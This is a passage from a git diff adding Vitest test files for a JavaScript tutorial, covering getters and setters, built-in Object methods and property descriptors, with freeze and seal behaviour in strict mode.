strict mode when setting getter-only property', () => { + "use strict" + + const obj = { + get value() { return 42 } + } + + expect(() => { + obj.value = 100 + }).toThrow(TypeError) + }) + + it('should inherit getter-only as read-only', () => { + const parent = { + get constant() { return "immutable" } + } + + const child = Object.create(parent) + + expect(child.constant).toBe("immutable") + + expect(() => { + child.constant = "changed" + }).toThrow(TypeError) + }) + + it('should allow computed read-only properties', () => { + const circle = { + radius: 5, + get area() { + return Math.PI * this.radius ** 2 + }, + get circumference() { + return 2 * Math.PI * this.radius + } + } + + expect(circle.area).toBeCloseTo(78.54, 1) + expect(circle.circumference).toBeCloseTo(31.42, 1) + }) + }) + + describe('Setter-Only Properties (Write-Only)', () => { + it('should return undefined when reading setter-only property', () => { + const obj = { + _lastValue: null, + set value(v) { + this._lastValue = v + } + } + + obj.value = 42 + expect(obj.value).toBeUndefined() + expect(obj._lastValue).toBe(42) + }) + + it('should allow write-only for logging', () => { + const logs = [] + const logger = { + set log(message) { + logs.push(`[${Date.now()}] ${message}`) + } + } + + logger.log = "Event 1" + logger.log = "Event 2" + + expect(logger.log).toBeUndefined() + expect(logs.length).toBe(2) + expect(logs[0]).toMatch(/Event 1/) + expect(logs[1]).toMatch(/Event 2/) + }) + + it('should support setter-only with side effects', () => { + const state = { count: 0 } + const obj = { + set increment(_) { + state.count++ + } + } + + obj.increment = null + obj.increment = null + obj.increment = null + + expect(state.count).toBe(3) + }) + }) + + describe('Infinite Recursion Prevention', () => { + it('should avoid infinite loop with backing property', () => { + const obj = { + _name: "", + get name() { return this._name }, + set name(value) { this._name = value } + } + + obj.name = "Alice" + expect(obj.name).toBe("Alice") + }) + + it('should work with private fields as backing store', () => { + class User { + #name = "" + get name() { return this.#name } + set name(value) { this.#name = value } + } + + const user = new User() + user.name = "Bob" + expect(user.name).toBe("Bob") + }) + + it('should work with closure variable as backing store', () => { + function createCounter() { + let count = 0 + return { + get value() { return count }, + set value(v) { count = v } + } + } + + const counter = createCounter() + counter.value = 10 + expect(counter.value).toBe(10) + }) + }) + + describe('Inheritance of Getters and Setters', () => { + it('should inherit getter from prototype', () => { + const proto = { + _value: 42, + get value() { return this._value } + } + + const obj = Object.create(proto) + expect(obj.value).toBe(42) + }) + + it('should override getter in subclass', () => { + class Parent { + get greeting() { return "Hello" } + } + + class Child extends Parent { + get greeting() { return "Hi" } + } + + const parent = new Parent() + const child = new Child() + + expect(parent.greeting).toBe("Hello") + expect(child.greeting).toBe("Hi") + }) + + it('should call parent getter with super', () => { + class Parent { + get value() { return 10 } + } + + class Child extends Parent { + get value() { return super.value * 2 } + } + + const child = new Child() + expect(child.value).toBe(20) + }) + + it('should reveal inherited getter after delete', () => { + const parent = { + get value() { return "parent" } + } + + const child = Object.create(parent) + Object.defineProperty(child, "value", { + get() { return "child" }, + configurable: true + }) + + expect(child.value).toBe("child") + + delete child.value + expect(child.value).toBe("parent") + }) + }) + + describe('JSON.stringify() and Enumeration', () => { + it('should include getter value in JSON.stringify', () => { + const obj = { + a: 1, + get b() { return 2 } + } + + const json = JSON.stringify(obj) + expect(json).toBe('{"a":1,"b":2}') + }) + + it('should not include setter-only properties in JSON', () => { + const obj = { + a: 1, + set b(v) { } + } + + const json = JSON.stringify(obj) + expect(json).toBe('{"a":1}') + }) + + it('should include enumerable getters in for...in', () => { + const obj = { + a: 1, + get b() { return 2 } + } + + const keys = [] + for (const key in obj) { + keys.push(key) + } + + expect(keys).toContain("a") + expect(keys).toContain("b") + }) + + it('should include enumerable getters in Object.keys()', () => { + const obj = { + a: 1, + get b() { return 2 } + } + + expect(Object.keys(obj)).toEqual(["a", "b"]) + }) + + it('should exclude non-enumerable getters from Object.keys()', () => { + const obj = { a: 1 } + + Object.defineProperty(obj, "hidden", { + get() { return "secret" }, + enumerable: false + }) + + expect(Object.keys(obj)).toEqual(["a"]) + expect(obj.hidden).toBe("secret") + }) + }) + + describe('Performance Patterns', () => { + it('should call getter on every access', () => { + let callCount = 0 + const obj = { + get value() { + callCount++ + return 42 + } + } + + obj.value + obj.value + obj.value + + expect(callCount).toBe(3) + }) + + it('should support memoization pattern', () => { + let computeCount = 0 + const obj = { + _cached: null, + get expensive() { + if (this._cached === null) { + computeCount++ + this._cached = 42 // Simulate expensive computation + } + return this._cached + } + } + + obj.expensive + obj.expensive + obj.expensive + + expect(computeCount).toBe(1) + expect(obj.expensive).toBe(42) + }) + + it('should support self-replacing lazy getter', () => { + let computeCount = 0 + const obj = { + get lazy() { + computeCount++ + const value = Math.random() + Object.defineProperty(this, "lazy", { + value: value, + writable: false, + configurable: false + }) + return value + } + } + + const first = obj.lazy + const second = obj.lazy + const third = obj.lazy + + expect(computeCount).toBe(1) + expect(first).toBe(second) + expect(second).toBe(third) + }) + }) + + describe('Edge Cases', () => { + it('should allow getter and setter with different logic', () => { + const obj = { + _raw: "", + get value() { + return this._raw.toUpperCase() + }, + set value(v) { + this._raw = v.toLowerCase() + } + } + + obj.value = "HeLLo" + expect(obj._raw).toBe("hello") + expect(obj.value).toBe("HELLO") + }) + + it('should work with Symbol property names', () => { + const sym = Symbol("secret") + const obj = { + _secret: 42, + get [sym]() { return this._secret } + } + + expect(obj[sym]).toBe(42) + }) + + it('should handle this correctly in nested objects', () => { + const outer = { + inner: { + value: 10, + get doubled() { + return this.value * 2 + } + } + } + + expect(outer.inner.doubled).toBe(20) + }) + + it('should work with destructuring (getter is called)', () => { + let callCount = 0 + const obj = { + get value() { + callCount++ + return 42 + } + } + + const { value } = obj + expect(value).toBe(42) + expect(callCount).toBe(1) + }) + }) +}) diff --git a/tests/beyond/objects-properties/object-methods/object-methods.test.js b/tests/beyond/objects-properties/object-methods/object-methods.test.js new file mode 100644 index 00000000..b13ca4fc --- /dev/null +++ b/tests/beyond/objects-properties/object-methods/object-methods.test.js @@ -0,0 +1,562 @@ +import { describe, it, expect } from 'vitest' + +describe('Object Methods', () => { + // ============================================================ + // ITERATION METHODS: keys, values, entries + // From object-methods.mdx lines 60-120 + // ============================================================ + + describe('Iteration Methods', () => { + describe('Object.keys()', () => { + // From lines 65-74: Basic Object.keys() usage + it('should return an array of property names', () => { + const user = { name: 'Alice', age: 30, city: 'NYC' } + const keys = Object.keys(user) + + expect(keys).toEqual(['name', 'age', 'city']) + }) + + // From lines 76-79: Looping through keys + it('should allow iteration over keys', () => { + const user = { name: 'Alice', age: 30, city: 'NYC' } + const collectedKeys = [] + + for (const key of Object.keys(user)) { + collectedKeys.push(key) + } + + expect(collectedKeys).toEqual(['name', 'age', 'city']) + }) + }) + + describe('Object.values()', () => { + // From lines 83-89: Basic Object.values() usage + it('should return an array of property values', () => { + const user = { name: 'Alice', age: 30, city: 'NYC' } + const values = Object.values(user) + + expect(values).toEqual(['Alice', 30, 'NYC']) + }) + + // From lines 91-95: Sum values with reduce + it('should allow summing numeric values', () => { + const scores = { math: 95, science: 88, history: 92 } + const total = Object.values(scores).reduce((sum, score) => sum + score, 0) + + expect(total).toBe(275) + }) + }) + + describe('Object.entries()', () => { + // From lines 99-106: Basic Object.entries() usage + it('should return an array of [key, value] pairs', () => { + const user = { name: 'Alice', age: 30, city: 'NYC' } + const entries = Object.entries(user) + + expect(entries).toEqual([ + ['name', 'Alice'], + ['age', 30], + ['city', 'NYC'] + ]) + }) + + // From lines 108-115: Destructuring in a loop + it('should allow destructured iteration', () => { + const user = { name: 'Alice', age: 30, city: 'NYC' } + const output = [] + + for (const [key, value] of Object.entries(user)) { + output.push(`${key}: ${value}`) + } + + expect(output).toEqual(['name: Alice', 'age: 30', 'city: NYC']) + }) + }) + + // From note about enumerable properties + describe('Enumerable Properties Only', () => { + it('should only return enumerable own properties', () => { + const obj = {} + Object.defineProperty(obj, 'hidden', { + value: 'secret', + enumerable: false + }) + obj.visible = 'public' + + expect(Object.keys(obj)).toEqual(['visible']) + expect(Object.values(obj)).toEqual(['public']) + expect(Object.entries(obj)).toEqual([['visible', 'public']]) + }) + }) + }) + + // ============================================================ + // TRANSFORMING OBJECTS WITH fromEntries() + // From object-methods.mdx lines 130-180 + // ============================================================ + + describe('Object.fromEntries()', () => { + // From lines 135-138: Basic fromEntries usage + it('should create an object from entries array', () => { + const entries = [['name', 'Alice'], ['age', 30]] + const user = Object.fromEntries(entries) + + expect(user).toEqual({ name: 'Alice', age: 30 }) + }) + + // From lines 143-150: Transform object keys to uppercase + it('should transform object keys to uppercase', () => { + const user = { name: 'Alice', age: 30, city: 'NYC' } + + const upperCased = Object.fromEntries( + Object.entries(user).map(([key, value]) => [key.toUpperCase(), value]) + ) + + expect(upperCased).toEqual({ NAME: 'Alice', AGE: 30, CITY: 'NYC' }) + }) + + // From lines 154-161: Filter object properties + it('should filter object properties by value type', () => { + const product = { name: 'Laptop', price: 999, inStock: true, sku: 'LP001' } + + const stringsOnly = Object.fromEntries( + Object.entries(product).filter(([key, value]) => typeof value === 'string') + ) + + expect(stringsOnly).toEqual({ name: 'Laptop', sku: 'LP001' }) + }) + + // From lines 165-172: Convert Map to object + it('should convert a Map to an object', () => { + const map = new Map([ + ['name', 'Alice'], + ['role', 'Admin'] + ]) + + const obj = Object.fromEntries(map) + + expect(obj).toEqual({ name: 'Alice', role: 'Admin' }) + }) + }) + + // ============================================================ + // CLONING AND MERGING OBJECTS + // From object-methods.mdx lines 185-270 + // ============================================================ + + describe('Cloning and Merging', () => { + describe('Object.assign()', () => { + // From lines 192-197: Basic assign usage + it('should copy properties from source to target', () => { + const target = { a: 1 } + const source = { b: 2 } + + Object.assign(target, source) + + expect(target).toEqual({ a: 1, b: 2 }) + }) + + // From lines 199-205: Clone using empty target + it('should clone an object using empty target', () => { + const original = { name: 'Alice', age: 30 } + const clone = Object.assign({}, original) + + clone.name = 'Bob' + + expect(original.name).toBe('Alice') + expect(clone.name).toBe('Bob') + }) + + // From lines 207-213: Merge multiple objects + it('should merge multiple objects with later sources overriding', () => { + const defaults = { theme: 'light', fontSize: 14 } + const userPrefs = { theme: 'dark' } + + const settings = Object.assign({}, defaults, userPrefs) + + expect(settings).toEqual({ theme: 'dark', fontSize: 14 }) + }) + + // From lines 217-228: Shallow copy warning + it('should only shallow copy nested objects', () => { + const original = { + name: 'Alice', + address: { city: 'NYC' } + } + + const clone = Object.assign({}, original) + clone.address.city = 'LA' + + // Both changed because nested object is shared! + expect(original.address.city).toBe('LA') + expect(clone.address.city).toBe('LA') + }) + }) + + describe('structuredClone()', () => { + // From lines 233-244: Deep clone with structuredClone + it('should deep clone nested objects', () => { + const original = { + name: 'Alice', + address: { city: 'NYC' } + } + + const clone = structuredClone(original) + clone.address.city = 'LA' + + expect(original.address.city).toBe('NYC') + expect(clone.address.city).toBe('LA') + }) + + // From lines 248-256: structuredClone handles built-in types + it('should handle Date and Set objects', () => { + const data = { + date: new Date('2024-01-01'), + items: new Set([1, 2, 3]) + } + + const clone = structuredClone(data) + + expect(clone.date instanceof Date).toBe(true) + expect(clone.items instanceof Set).toBe(true) + expect(clone.date.getTime()).toBe(data.date.getTime()) + expect([...clone.items]).toEqual([1, 2, 3]) + }) + + // From lines 261-268: structuredClone cannot clone functions + it('should throw DataCloneError when cloning functions', () => { + const obj = { + greet: () => 'Hello' + } + + expect(() => structuredClone(obj)).toThrow() + }) + + // Additional: Handle circular references + it('should handle circular references', () => { + const obj = { name: 'circular' } + obj.self = obj + + const clone = structuredClone(obj) + + expect(clone.name).toBe('circular') + expect(clone.self).toBe(clone) // Points to itself + expect(clone.self).not.toBe(obj) // But not original + }) + }) + }) + + // ============================================================ + // OBJECT.hasOwn() - SAFE PROPERTY CHECKING + // From object-methods.mdx lines 280-330 + // ============================================================ + + describe('Object.hasOwn()', () => { + // From lines 287-292: Basic hasOwn usage + it('should check for own properties', () => { + const user = { name: 'Alice', age: 30 } + + expect(Object.hasOwn(user, 'name')).toBe(true) + expect(Object.hasOwn(user, 'toString')).toBe(false) // inherited + expect(Object.hasOwn(user, 'email')).toBe(false) // doesn't exist + }) + + // From lines 296-305: Works with null prototype objects + it('should work with null prototype objects', () => { + const nullProto = Object.create(null) + nullProto.id = 1 + + // hasOwnProperty doesn't exist on null-prototype objects + expect(nullProto.hasOwnProperty).toBeUndefined() + + // Object.hasOwn works fine + expect(Object.hasOwn(nullProto, 'id')).toBe(true) + }) + + // From lines 309-315: Works when hasOwnProperty is overridden + it('should work when hasOwnProperty is overridden', () => { + const sneaky = { + hasOwnProperty: () => false + } + + expect(sneaky.hasOwnProperty('hasOwnProperty')).toBe(false) // wrong! + expect(Object.hasOwn(sneaky, 'hasOwnProperty')).toBe(true) // correct! + }) + }) + + // ============================================================ + // OBJECT.is() - PRECISE EQUALITY + // From object-methods.mdx lines 335-380 + // ============================================================ + + describe('Object.is()', () => { + // From lines 340-347: Same as === for normal values + it('should behave like === for normal values', () => { + expect(Object.is(5, 5)).toBe(true) + expect(Object.is('hello', 'hello')).toBe(true) + expect(Object.is({}, {})).toBe(false) // different references + }) + + // From lines 349-352: Different from === for NaN + it('should return true for NaN === NaN', () => { + expect(NaN === NaN).toBe(false) // === returns false + expect(Object.is(NaN, NaN)).toBe(true) // Object.is returns true + }) + + // From lines 349-352: Different from === for -0 + it('should distinguish +0 from -0', () => { + expect(0 === -0).toBe(true) // === returns true + expect(Object.is(0, -0)).toBe(false) // Object.is returns false + }) + + // From lines 356-367: NaN comparison example + it('should detect NaN values correctly', () => { + const value = NaN + + expect(value === NaN).toBe(false) + expect(Object.is(value, NaN)).toBe(true) + expect(Number.isNaN(value)).toBe(true) + }) + + // From lines 369-376: Zero comparison example + it('should compare zeros correctly', () => { + const positiveZero = 0 + const negativeZero = -0 + + expect(positiveZero === negativeZero).toBe(true) + expect(Object.is(positiveZero, negativeZero)).toBe(false) + }) + }) + + // ============================================================ + // OBJECT.groupBy() - GROUPING DATA (ES2024) + // From object-methods.mdx lines 385-450 + // ============================================================ + + describe('Object.groupBy()', () => { + // From lines 392-412: Basic groupBy usage + it('should group array elements by callback result', () => { + const inventory = [ + { name: 'apples', type: 'fruit', quantity: 5 }, + { name: 'bananas', type: 'fruit', quantity: 3 }, + { name: 'carrots', type: 'vegetable', quantity: 10 }, + { name: 'broccoli', type: 'vegetable', quantity: 7 } + ] + + const byType = Object.groupBy(inventory, item => item.type) + + expect(Object.keys(byType).sort()).toEqual(['fruit', 'vegetable']) + expect(byType.fruit).toHaveLength(2) + expect(byType.vegetable).toHaveLength(2) + expect(byType.fruit[0].name).toBe('apples') + expect(byType.vegetable[0].name).toBe('carrots') + }) + + // From lines 416-434: Custom grouping logic + it('should support custom grouping logic', () => { + const products = [ + { name: 'Laptop', price: 999 }, + { name: 'Mouse', price: 29 }, + { name: 'Monitor', price: 399 }, + { name: 'Keyboard', price: 89 } + ] + + const byPriceRange = Object.groupBy(products, product => { + if (product.price < 50) return 'budget' + if (product.price < 200) return 'mid-range' + return 'premium' + }) + + expect(byPriceRange.budget).toEqual([{ name: 'Mouse', price: 29 }]) + expect(byPriceRange['mid-range']).toEqual([{ name: 'Keyboard', price: 89 }]) + expect(byPriceRange.premium).toHaveLength(2) + }) + + // Additional: Empty array handling + it('should handle empty arrays', () => { + const empty = [] + const grouped = Object.groupBy(empty, item => item.type) + + expect(Object.keys(grouped)).toEqual([]) + }) + + // Additional: Returns null-prototype object + it('should return a null-prototype object', () => { + const items = [{ type: 'a' }] + const grouped = Object.groupBy(items, item => item.type) + + // Null prototype means no inherited properties + expect(Object.getPrototypeOf(grouped)).toBe(null) + }) + }) + + // ============================================================ + // INSPECTION METHODS + // From object-methods.mdx lines 455-480 + // ============================================================ + + describe('Inspection Methods', () => { + describe('Object.getOwnPropertyNames()', () => { + // From lines 460-464: Returns all own properties including non-enumerable + it('should include non-enumerable properties', () => { + const arr = [1, 2, 3] + + expect(Object.keys(arr)).toEqual(['0', '1', '2']) + expect(Object.getOwnPropertyNames(arr)).toEqual(['0', '1', '2', 'length']) + }) + }) + + describe('Object.getOwnPropertySymbols()', () => { + // From lines 468-476: Returns Symbol-keyed properties + it('should return Symbol-keyed properties', () => { + const id = Symbol('id') + const obj = { + name: 'Alice', + [id]: 12345 + } + + expect(Object.keys(obj)).toEqual(['name']) + expect(Object.getOwnPropertySymbols(obj)).toEqual([id]) + }) + }) + }) + + // ============================================================ + // OBJECT PROTECTION METHODS (BRIEF) + // From object-methods.mdx lines 485-510 + // ============================================================ + + describe('Object Protection Methods', () => { + // From lines 497-503: Object.freeze example + // Note: In strict mode (which Vitest uses), these throw TypeError instead of silently failing + it('should prevent modifications when frozen', () => { + const config = { apiUrl: 'https://api.example.com' } + + Object.freeze(config) + + // In strict mode, this throws TypeError + expect(() => { + config.apiUrl = 'https://evil.com' + }).toThrow(TypeError) + + expect(config.apiUrl).toBe('https://api.example.com') + }) + + // Additional: Object.seal + it('should allow modifications but not additions when sealed', () => { + const obj = { existing: 'value' } + + Object.seal(obj) + obj.existing = 'modified' // This works + + // Adding new property throws in strict mode + expect(() => { + obj.newProp = 'new' + }).toThrow(TypeError) + + expect(obj.existing).toBe('modified') + expect(obj.newProp).toBeUndefined() + }) + + // Additional: Object.preventExtensions + it('should prevent new properties when extensions prevented', () => { + const obj = { a: 1 } + + Object.preventExtensions(obj) + + // Adding new property throws in strict mode + expect(() => { + obj.b = 2 + }).toThrow(TypeError) + + obj.a = 10 // Modifying existing property still works + + expect(obj.a).toBe(10) + expect(obj.b).toBeUndefined() + }) + }) + + // ============================================================ + // COMMON PATTERNS + // From object-methods.mdx lines 520-560 + // ============================================================ + + describe('Common Patterns', () => { + // From lines 525-533: Normalize API response + it('should normalize array to lookup object', () => { + const users = [ + { id: 1, name: 'Alice' }, + { id: 2, name: 'Bob' } + ] + + const usersById = Object.fromEntries( + users.map(user => [user.id, user]) + ) + + expect(usersById).toEqual({ + 1: { id: 1, name: 'Alice' }, + 2: { id: 2, name: 'Bob' } + }) + expect(usersById[1].name).toBe('Alice') + }) + + // From lines 537-548: Configuration merging + it('should merge configuration with defaults', () => { + function createClient(userOptions = {}) { + const defaults = { + timeout: 5000, + retries: 3, + baseUrl: 'https://api.example.com' + } + + return Object.assign({}, defaults, userOptions) + } + + const options = createClient({ timeout: 10000 }) + + expect(options.timeout).toBe(10000) + expect(options.retries).toBe(3) + expect(options.baseUrl).toBe('https://api.example.com') + }) + + // From lines 552-557: Safe property access + it('should safely check for properties in data', () => { + function processData(data) { + if (Object.hasOwn(data, 'userId')) { + return data.userId + } + return null + } + + expect(processData({ userId: 123 })).toBe(123) + expect(processData({ name: 'Alice' })).toBe(null) + expect(processData({})).toBe(null) + }) + }) + + // ============================================================ + // OPENING EXAMPLE FROM DOCUMENTATION + // From object-methods.mdx lines 10-25 + // ============================================================ + + describe('Opening Example', () => { + // From lines 10-20: Main demonstration + it('should demonstrate the iteration trio and transformation', () => { + const user = { name: 'Alice', age: 30, city: 'NYC' } + + expect(Object.keys(user)).toEqual(['name', 'age', 'city']) + expect(Object.values(user)).toEqual(['Alice', 30, 'NYC']) + expect(Object.entries(user)).toEqual([ + ['name', 'Alice'], + ['age', 30], + ['city', 'NYC'] + ]) + + const upperKeys = Object.fromEntries( + Object.entries(user).map(([key, value]) => [key.toUpperCase(), value]) + ) + + expect(upperKeys).toEqual({ NAME: 'Alice', AGE: 30, CITY: 'NYC' }) + }) + }) +}) diff --git a/tests/beyond/objects-properties/property-descriptors/property-descriptors.test.js b/tests/beyond/objects-properties/property-descriptors/property-descriptors.test.js new file mode 100644 index 00000000..fb5e3eeb --- /dev/null +++ b/tests/beyond/objects-properties/property-descriptors/property-descriptors.test.js @@ -0,0 +1,730 @@ +import { describe, it, expect, beforeEach } from 'vitest' + +describe('Property Descriptors', () => { + + describe('Basic Descriptor Structure', () => { + it('should have all four attributes for a normal property', () => { + const obj = { name: 'Alice' } + const descriptor = Object.getOwnPropertyDescriptor(obj, 'name') + + expect(descriptor).toEqual({ + value: 'Alice', + writable: true, + enumerable: true, + configurable: true + }) + }) + + it('should default all flags to true when using normal assignment', () => { + const obj = {} + obj.prop = 'value' + + const descriptor = Object.getOwnPropertyDescriptor(obj, 'prop') + + expect(descriptor.writable).toBe(true) + expect(descriptor.enumerable).toBe(true) + expect(descriptor.configurable).toBe(true) + }) + + it('should default flags to false when using defineProperty', () => { + const obj = {} + Object.defineProperty(obj, 'prop', { value: 'test' }) + + const descriptor = Object.getOwnPropertyDescriptor(obj, 'prop') + + expect(descriptor.writable).toBe(false) + expect(descriptor.enumerable).toBe(false) + expect(descriptor.configurable).toBe(false) + }) + }) + + describe('Writable Flag', () => { + it('should allow modification when writable is true', () => { + const obj = {} + Object.defineProperty(obj, 'name', { + value: 'Alice', + writable: true, + enumerable: true, + configurable: true + }) + + obj.name = 'Bob' + expect(obj.name).toBe('Bob') + }) + + it('should prevent modification when writable is false (throws in strict mode)', () => { + const obj = {} + Object.defineProperty(obj, 'name', { + value: 'Alice', + writable: false, + enumerable: true, + configurable: true + }) + + // In strict mode (which ES modules use), this throws + expect(() => { + obj.name = 'Bob' + }).toThrow(TypeError) + expect(obj.name).toBe('Alice') + }) + + it('should throw in strict mode when writing to non-writable property', () => { + 'use strict' + + const obj = {} + Object.defineProperty(obj, 'name', { + value: 'Alice', + writable: false, + enumerable: true, + configurable: true + }) + + expect(() => { + obj.name = 'Bob' + }).toThrow(TypeError) + }) + + it('should demonstrate Math.PI is non-writable', () => { + const descriptor = Object.getOwnPropertyDescriptor(Math, 'PI') + + expect(descriptor.writable).toBe(false) + expect(descriptor.value).toBe(3.141592653589793) + + // In strict mode, attempting to change it throws + expect(() => { + Math.PI = 3 + }).toThrow(TypeError) + expect(Math.PI).toBe(3.141592653589793) + }) + }) + + describe('Enumerable Flag', () => { + it('should include enumerable properties in Object.keys()', () => { + const obj = {} + Object.defineProperty(obj, 'visible', { + value: 1, + enumerable: true + }) + Object.defineProperty(obj, 'hidden', { + value: 2, + enumerable: false + }) + + expect(Object.keys(obj)).toEqual(['visible']) + expect(Object.keys(obj)).not.toContain('hidden') + }) + + it('should include enumerable properties in for...in loops', () => { + const obj = {} + Object.defineProperty(obj, 'visible', { + value: 1, + enumerable: true + }) + Object.defineProperty(obj, 'hidden', { + value: 2, + enumerable: false + }) + + const keys = [] + for (const key in obj) { + keys.push(key) + } + + expect(keys).toEqual(['visible']) + }) + + it('should exclude non-enumerable properties from spread operator', () => { + const obj = { visible: 1 } + Object.defineProperty(obj, 'hidden', { + value: 2, + enumerable: false + }) + + const copy = { ...obj } + + expect(copy).toEqual({ visible: 1 }) + expect(copy.hidden).toBeUndefined() + }) + + it('should exclude non-enumerable properties from JSON.stringify()', () => { + const obj = { visible: 1 } + Object.defineProperty(obj, 'hidden', { + value: 2, + enumerable: false + }) + + const json = JSON.stringify(obj) + + expect(json).toBe('{"visible":1}') + }) + + it('should still allow direct access to non-enumerable properties', () => { + const obj = {} + Object.defineProperty(obj, 'hidden', { + value: 'secret', + enumerable: false + }) + + expect(obj.hidden).toBe('secret') + }) + + it('should demonstrate Array.length is non-enumerable', () => { + const arr = [1, 2, 3] + const descriptor = Object.getOwnPropertyDescriptor(arr, 'length') + + expect(descriptor.enumerable).toBe(false) + expect(Object.keys(arr)).toEqual(['0', '1', '2']) + expect(Object.keys(arr)).not.toContain('length') + }) + }) + + describe('Configurable Flag', () => { + it('should allow deletion when configurable is true', () => { + const obj = {} + Object.defineProperty(obj, 'deletable', { + value: 1, + configurable: true + }) + + expect(delete obj.deletable).toBe(true) + expect(obj.deletable).toBeUndefined() + }) + + it('should prevent deletion when configurable is false (throws in strict mode)', () => { + const obj = {} + Object.defineProperty(obj, 'permanent', { + value: 1, + configurable: false + }) + + // In strict mode, this throws + expect(() => { + delete obj.permanent + }).toThrow(TypeError) + expect(obj.permanent).toBe(1) + }) + + it('should allow reconfiguration when configurable is true', () => { + const obj = {} + Object.defineProperty(obj, 'prop', { + value: 1, + enumerable: false, + configurable: true + }) + + // Change enumerable flag + Object.defineProperty(obj, 'prop', { + enumerable: true + }) + + const descriptor = Object.getOwnPropertyDescriptor(obj, 'prop') + expect(descriptor.enumerable).toBe(true) + }) + + it('should prevent reconfiguration when configurable is false', () => { + const obj = {} + Object.defineProperty(obj, 'prop', { + value: 1, + enumerable: false, + configurable: false + }) + + expect(() => { + Object.defineProperty(obj, 'prop', { + enumerable: true + }) + }).toThrow(TypeError) + }) + + it('should still allow writable true -> false even when non-configurable', () => { + const obj = {} + Object.defineProperty(obj, 'prop', { + value: 1, + writable: true, + configurable: false + }) + + // This should work + Object.defineProperty(obj, 'prop', { + writable: false + }) + + const descriptor = Object.getOwnPropertyDescriptor(obj, 'prop') + expect(descriptor.writable).toBe(false) + }) + + it('should NOT allow writable false -> true when non-configurable', () => { + const obj = {} + Object.defineProperty(obj, 'prop', { + value: 1, + writable: false, + configurable: false + }) + + expect(() => { + Object.defineProperty(obj, 'prop', { + writable: true + }) + }).toThrow(TypeError) + }) + }) + + describe('Object.defineProperties()', () => { + it('should define multiple properties at once', () => { + const obj = {} + + Object.defineProperties(obj, { + name: { + value: 'Alice', + writable: true, + enumerable: true, + configurable: true + }, + age: { + value: 30, + writable: false, + enumerable: true, + configurable: false + } + }) + + expect(obj.name).toBe('Alice') + expect(obj.age).toBe(30) + + obj.name = 'Bob' + expect(obj.name).toBe('Bob') + + // In strict mode, writing to non-writable throws + expect(() => { + obj.age = 40 + }).toThrow(TypeError) + expect(obj.age).toBe(30) // Unchanged + }) + }) + + describe('Object.getOwnPropertyDescriptors()', () => { + it('should return descriptors for all own properties', () => { + const obj = { a: 1 } + Object.defineProperty(obj, 'b', { + value: 2, + writable: false, + enumerable: false, + configurable: false + }) + + const descriptors = Object.getOwnPropertyDescriptors(obj) + + expect(descriptors.a).toEqual({ + value: 1, + writable: true, + enumerable: true, + configurable: true + }) + + expect(descriptors.b).toEqual({ + value: 2, + writable: false, + enumerable: false, + configurable: false + }) + }) + + it('should enable proper object cloning with descriptors', () => { + const original = {} + Object.defineProperty(original, 'id', { + value: 1, + writable: false, + enumerable: true, + configurable: false + }) + + // Clone preserving descriptors + const clone = Object.defineProperties( + {}, + Object.getOwnPropertyDescriptors(original) + ) + + const cloneDescriptor = Object.getOwnPropertyDescriptor(clone, 'id') + expect(cloneDescriptor.writable).toBe(false) + expect(cloneDescriptor.configurable).toBe(false) + }) + + it('should demonstrate that spread does not preserve descriptors', () => { + const original = {} + Object.defineProperty(original, 'id', { + value: 1, + writable: false, + enumerable: true, + configurable: false + }) + + // Spread loses descriptors + const copy = { ...original } + + const copyDescriptor = Object.getOwnPropertyDescriptor(copy, 'id') + expect(copyDescriptor.writable).toBe(true) // Lost! + expect(copyDescriptor.configurable).toBe(true) // Lost! + }) + }) + + describe('Accessor Descriptors (Getters/Setters)', () => { + it('should define a property with getter and setter', () => { + const user = { _name: 'Alice' } + + Object.defineProperty(user, 'name', { + get() { + return this._name.toUpperCase() + }, + set(value) { + this._name = value + }, + enumerable: true, + configurable: true + }) + + expect(user.name).toBe('ALICE') + + user.name = 'Bob' + expect(user.name).toBe('BOB') + }) + + it('should create a read-only property with getter only (throws in strict mode)', () => { + const circle = { radius: 5 } + + Object.defineProperty(circle, 'area', { + get() { + return Math.PI * this.radius ** 2 + }, + enumerable: true, + configurable: true + }) + + expect(circle.area).toBeCloseTo(78.54, 1) + + // In strict mode, assignment to getter-only throws + expect(() => { + circle.area = 100 + }).toThrow(TypeError) + expect(circle.area).toBeCloseTo(78.54, 1) + }) + + it('should throw when mixing value and get in a descriptor', () => { + expect(() => { + Object.defineProperty({}, 'prop', { + value: 42, + get() { return 42 } + }) + }).toThrow(TypeError) + }) + + it('should throw when mixing writable and get in a descriptor', () => { + expect(() => { + Object.defineProperty({}, 'prop', { + writable: true, + get() { return 42 } + }) + }).toThrow(TypeError) + }) + + it('should have get/set instead of value/writable in accessor descriptor', () => { + const obj = {} + + Object.defineProperty(obj, 'prop', { + get() { return 'hello' }, + set(v) { }, + enumerable: true, + configurable: true + }) + + const descriptor = Object.getOwnPropertyDescriptor(obj, 'prop') + + expect(descriptor.get).toBeDefined() + expect(descriptor.set).toBeDefined() + expect(descriptor.value).toBeUndefined() + expect(descriptor.writable).toBeUndefined() + }) + }) + + describe('Object.preventExtensions()', () => { + it('should prevent adding new properties (throws in strict mode)', () => { + const obj = { existing: 1 } + Object.preventExtensions(obj) + + expect(() => { + obj.newProp = 2 + }).toThrow(TypeError) + expect(obj.newProp).toBeUndefined() + }) + + it('should still allow modifying existing properties', () => { + const obj = { existing: 1 } + Object.preventExtensions(obj) + + obj.existing = 2 + expect(obj.existing).toBe(2) + }) + + it('should still allow deleting existing properties', () => { + const obj = { existing: 1 } + Object.preventExtensions(obj) + + delete obj.existing + expect(obj.existing).toBeUndefined() + }) + + it('should return false for Object.isExtensible()', () => { + const obj = {} + Object.preventExtensions(obj) + + expect(Object.isExtensible(obj)).toBe(false) + }) + }) + + describe('Object.seal()', () => { + it('should prevent adding new properties (throws in strict mode)', () => { + const obj = { existing: 1 } + Object.seal(obj) + + expect(() => { + obj.newProp = 2 + }).toThrow(TypeError) + expect(obj.newProp).toBeUndefined() + }) + + it('should prevent deleting existing properties (throws in strict mode)', () => { + const obj = { existing: 1 } + Object.seal(obj) + + expect(() => { + delete obj.existing + }).toThrow(TypeError) + expect(obj.existing).toBe(1) + }) + + it('should still allow modifying existing values', () => { + const obj = { existing: 1 } + Object.seal(obj) + + obj.existing = 2 + expect(obj.existing).toBe(2) + }) + + it('should set configurable to false on all properties', () => { + const obj = { prop: 1 } + Object.seal(obj) + + const descriptor = Object.getOwnPropertyDescriptor(obj, 'prop') + expect(descriptor.configurable).toBe(false) + }) + + it('should return true for Object.isSealed()', () => { + const obj = { prop: 1 } + Object.seal(obj) + + expect(Object.isSealed(obj)).toBe(true) + }) + }) + + describe('Object.freeze()', () => 